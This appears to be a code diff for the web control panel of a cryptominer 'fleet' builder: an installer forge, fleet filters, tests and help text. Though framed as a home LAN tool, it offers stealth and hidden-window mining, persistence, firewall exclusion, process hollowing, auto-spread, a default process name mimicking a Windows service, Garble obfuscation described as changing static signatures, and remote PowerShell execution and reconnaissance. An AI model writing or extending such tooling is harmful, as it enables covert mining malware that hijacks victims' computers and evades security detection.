<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group recon-group">
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group mining-group">
|
||||
<h3>Mining Controls</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
|
||||
|
||||
<div className="tactical-bottom-row">
|
||||
<div
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
||||
onDragOver={handleDragOver}
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
|
||||
onDragOver={isOnline ? handleDragOver : undefined}
|
||||
onDragLeave={handleDragLeave}
|
||||
onDrop={handleDrop}
|
||||
onDrop={isOnline ? handleDrop : undefined}
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop file here</p>
|
||||
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
autoComplete="off"
|
||||
disabled={!online}
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!online}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
@@ -0,0 +1,103 @@
|
||||
.agents-list-panel {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.agents-list-panel .agents-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.85rem 1rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar-filters {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.fleet-filter-search {
|
||||
flex: 1 1 180px;
|
||||
min-width: 160px;
|
||||
}
|
||||
|
||||
.fleet-filter-select {
|
||||
min-width: 120px;
|
||||
}
|
||||
|
||||
.fleet-filter-attn {
|
||||
font-size: 0.85rem;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.fleet-bulk-bar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
padding-top: 0.75rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row {
|
||||
cursor: pointer;
|
||||
padding: 0.65rem 0.85rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-header {
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-details,
|
||||
.agent-list-item.compact-row .agent-list-meta {
|
||||
font-size: 0.82rem;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
margin-top: 0.65rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-tag-chip {
|
||||
display: inline-block;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-muted, #888);
|
||||
font-style: italic;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-select {
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
.agent-meta-editor {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.agent-meta-tags-input {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
@@ -0,0 +1,92 @@
|
||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import './FleetToolbar.css';
|
||||
|
||||
interface Props {
|
||||
agents: Agent[];
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
onBulkAction: (action: string) => void;
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
export default function FleetToolbar({
|
||||
agents,
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
onBulkAction,
|
||||
bulkBusy,
|
||||
}: Props) {
|
||||
const tags = collectFleetTags(agents);
|
||||
const subnets = collectFleetSubnets(agents);
|
||||
|
||||
return (
|
||||
<div className="fleet-toolbar card">
|
||||
<div className="fleet-toolbar-filters">
|
||||
<input
|
||||
type="search"
|
||||
className="input fleet-filter-search"
|
||||
placeholder="Search name, IP, notes, tags…"
|
||||
value={filters.search}
|
||||
onChange={(e) => onChange({ ...filters, search: e.target.value })}
|
||||
/>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.tag}
|
||||
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
|
||||
title="Filter by tag"
|
||||
>
|
||||
<option value="">All tags</option>
|
||||
{tags.map((t) => (
|
||||
<option key={t} value={t}>{t}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.subnet}
|
||||
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
|
||||
title="Filter by subnet"
|
||||
>
|
||||
<option value="">All subnets</option>
|
||||
{subnets.map((s) => (
|
||||
<option key={s} value={s}>{s}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={String(filters.hashrateMin)}
|
||||
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
|
||||
title="Minimum 15m hashrate"
|
||||
>
|
||||
<option value="0">Any hashrate</option>
|
||||
<option value="1000">≥ 1 KH/s</option>
|
||||
<option value="10000">≥ 10 KH/s</option>
|
||||
<option value="100000">≥ 100 KH/s</option>
|
||||
<option value="1000000">≥ 1 MH/s</option>
|
||||
</select>
|
||||
<label className="checkbox-label fleet-filter-attn">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={filters.needsAttention}
|
||||
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
|
||||
/>
|
||||
<span>Needs attention</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
53
server/web/src/help/fleetFilters.test.ts
Normal file
53
server/web/src/help/fleetFilters.test.ts
Normal file
@@ -0,0 +1,53 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
const base = (over: Partial<Agent>): Agent => ({
|
||||
id: '1',
|
||||
name: 'w1',
|
||||
wallet: '',
|
||||
ip: '192.168.1.10',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 5000,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
tags: ['lab'],
|
||||
...over,
|
||||
});
|
||||
|
||||
const DEFAULT = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
describe('fleetFilters', () => {
|
||||
it('filters by tag and subnet', () => {
|
||||
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
|
||||
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
|
||||
});
|
||||
|
||||
it('flags offline as needs attention', () => {
|
||||
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('agentSubnet', () => {
|
||||
it('masks last octet', () => {
|
||||
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
|
||||
});
|
||||
});
|
||||
95
server/web/src/help/fleetFilters.ts
Normal file
95
server/web/src/help/fleetFilters.ts
Normal file
@@ -0,0 +1,95 @@
|
||||
import type { Agent } from '../types';
|
||||
|
||||
export interface FleetFilterState {
|
||||
search: string;
|
||||
tag: string;
|
||||
subnet: string;
|
||||
hashrateMin: number;
|
||||
needsAttention: boolean;
|
||||
}
|
||||
|
||||
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
|
||||
search: '',
|
||||
tag: '',
|
||||
subnet: '',
|
||||
hashrateMin: 0,
|
||||
needsAttention: false,
|
||||
};
|
||||
|
||||
export function agentSubnet(ip: string): string {
|
||||
const parts = (ip || '').trim().split('.');
|
||||
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
|
||||
return ip || 'unknown';
|
||||
}
|
||||
|
||||
export function agentRejectRate(agent: Agent): number {
|
||||
if (agent.shares_total <= 0) return 0;
|
||||
return (agent.shares_bad / agent.shares_total) * 100;
|
||||
}
|
||||
|
||||
export function agentNeedsAttention(agent: Agent): boolean {
|
||||
if (agent.status !== 'online') return true;
|
||||
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
export function agentIsIdleMiner(agent: Agent): boolean {
|
||||
return agent.status === 'online' && agent.hashrate_15m < 100;
|
||||
}
|
||||
|
||||
export function collectFleetTags(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
for (const t of a.tags || []) {
|
||||
const clean = t.trim();
|
||||
if (clean) set.add(clean);
|
||||
}
|
||||
}
|
||||
return [...set].sort((a, b) => a.localeCompare(b));
|
||||
}
|
||||
|
||||
export function collectFleetSubnets(agents: Agent[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const a of agents) {
|
||||
set.add(agentSubnet(a.ip));
|
||||
}
|
||||
return [...set].sort();
|
||||
}
|
||||
|
||||
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
|
||||
const q = filters.search.trim().toLowerCase();
|
||||
return agents.filter((a) => {
|
||||
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
|
||||
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
|
||||
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
|
||||
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
|
||||
if (q) {
|
||||
const hay = [
|
||||
a.name,
|
||||
a.ip,
|
||||
a.notes || '',
|
||||
...(a.tags || []),
|
||||
a.id,
|
||||
]
|
||||
.join(' ')
|
||||
.toLowerCase();
|
||||
if (!hay.includes(q)) return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
export function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
export function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'always',
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
|
||||
}
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
if (value === true && next.pool_port === 3333) {
|
||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||
|
||||
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
describe('forgeSmartDefaults', () => {
|
||||
it('suggests next worker-N name', () => {
|
||||
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
|
||||
});
|
||||
|
||||
it('picks LAN url over localhost', () => {
|
||||
expect(
|
||||
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
|
||||
).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('fills worker and process name', () => {
|
||||
const form = applySmartForgeDefaults(
|
||||
{ worker_name: '', server_url: '' } as BuildRequest,
|
||||
{ endpointCandidates: ['http://10.0.0.2:8989'] }
|
||||
);
|
||||
expect(form.worker_name).toMatch(/^worker-/);
|
||||
expect(form.process_name).toBeTruthy();
|
||||
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||
expect(form.mining_mode).toBe('idle');
|
||||
});
|
||||
});
|
||||
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
@@ -0,0 +1,125 @@
|
||||
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import { lanEndpointCandidates } from './endpointHelpers';
|
||||
|
||||
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
||||
|
||||
/** Suggested unique worker label for the next forge. */
|
||||
export function suggestWorkerName(existing: BuildRecord[]): string {
|
||||
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
|
||||
for (let i = 1; i <= 999; i++) {
|
||||
const name = `worker-${i}`;
|
||||
if (!used.has(name)) return name;
|
||||
}
|
||||
return `worker-${Date.now().toString(36)}`;
|
||||
}
|
||||
|
||||
function sanitizeProcessName(workerName: string): string {
|
||||
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
return cleaned || 'RuntimeBrokerHelper';
|
||||
}
|
||||
|
||||
function isGoodServerUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** Pick the best control-server URL for workers on the LAN. */
|
||||
export function pickBestServerUrl(current: string, candidates: string[]): string {
|
||||
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
|
||||
const first = candidates.find(isGoodServerUrl);
|
||||
return first || current?.trim() || '';
|
||||
}
|
||||
|
||||
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
|
||||
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
display_mode: 'background',
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
adapt_to_hardware: true,
|
||||
firewall_exclusion: true,
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
};
|
||||
}
|
||||
|
||||
export interface SmartDefaultsContext {
|
||||
builds?: BuildRecord[];
|
||||
endpointCandidates?: string[];
|
||||
}
|
||||
|
||||
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
|
||||
export function applySmartForgeDefaults(
|
||||
form: BuildRequest,
|
||||
ctx: SmartDefaultsContext = {}
|
||||
): BuildRequest {
|
||||
const preset = recommendedForgePreset();
|
||||
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
|
||||
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
|
||||
|
||||
return {
|
||||
...form,
|
||||
...preset,
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
pool_tls: form.pool_tls ?? preset.pool_tls!,
|
||||
pool_pass: form.pool_pass || preset.pool_pass!,
|
||||
process_name: sanitizeProcessName(worker),
|
||||
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
|
||||
sign_build: form.sign_build ?? preset.sign_build ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
export function forgeDefaultsFromServerSmart(
|
||||
config: ServerConfig,
|
||||
serverInfo: ServerInfo,
|
||||
builds: BuildRecord[] = []
|
||||
): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
|
||||
const base: BuildRequest = {
|
||||
...recommendedForgePreset(),
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
} as BuildRequest;
|
||||
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
||||
}
|
||||
|
||||
export const RECOMMENDED_DEFAULTS_BLURB =
|
||||
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||
|
||||
export function isValidWorkerName(name: string): boolean {
|
||||
const t = name.trim();
|
||||
return t.length > 0 && WORKER_NAME_RE.test(t);
|
||||
}
|
||||
@@ -1,24 +1,46 @@
|
||||
export const SETUP_CHEATSHEET = [
|
||||
{
|
||||
title: '1. Calibrate the server',
|
||||
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
|
||||
title: '1. Calibrate once',
|
||||
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
|
||||
},
|
||||
{
|
||||
title: '2. Forge your installer',
|
||||
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
|
||||
title: '2. Forge (Simple mode)',
|
||||
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
|
||||
},
|
||||
{
|
||||
title: '3. Deploy',
|
||||
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
|
||||
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
|
||||
},
|
||||
{
|
||||
title: '4. Command Deck',
|
||||
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
|
||||
},
|
||||
];
|
||||
|
||||
export const FIELD_HELP: Record<string, string> = {
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||
calibrate_wallet:
|
||||
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
|
||||
calibrate_quick_setup:
|
||||
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_recommended_defaults:
|
||||
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
|
||||
obfuscate:
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
|
||||
sign_build:
|
||||
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||
obfuscate_default:
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
|
||||
sign_enabled:
|
||||
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
|
||||
sign_cert_thumbprint:
|
||||
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
|
||||
sign_tool_path:
|
||||
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
|
||||
sign_timestamp_url:
|
||||
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
|
||||
server_url:
|
||||
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
||||
output_dir:
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
|
||||
|
||||
interface DashboardInit {
|
||||
agents: Agent[];
|
||||
}
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
|
||||
interface UseWebSocketReturn {
|
||||
isConnected: boolean;
|
||||
@@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg: WSMessage = JSON.parse(event.data);
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as DashboardInit;
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
@@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = agent;
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
@@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
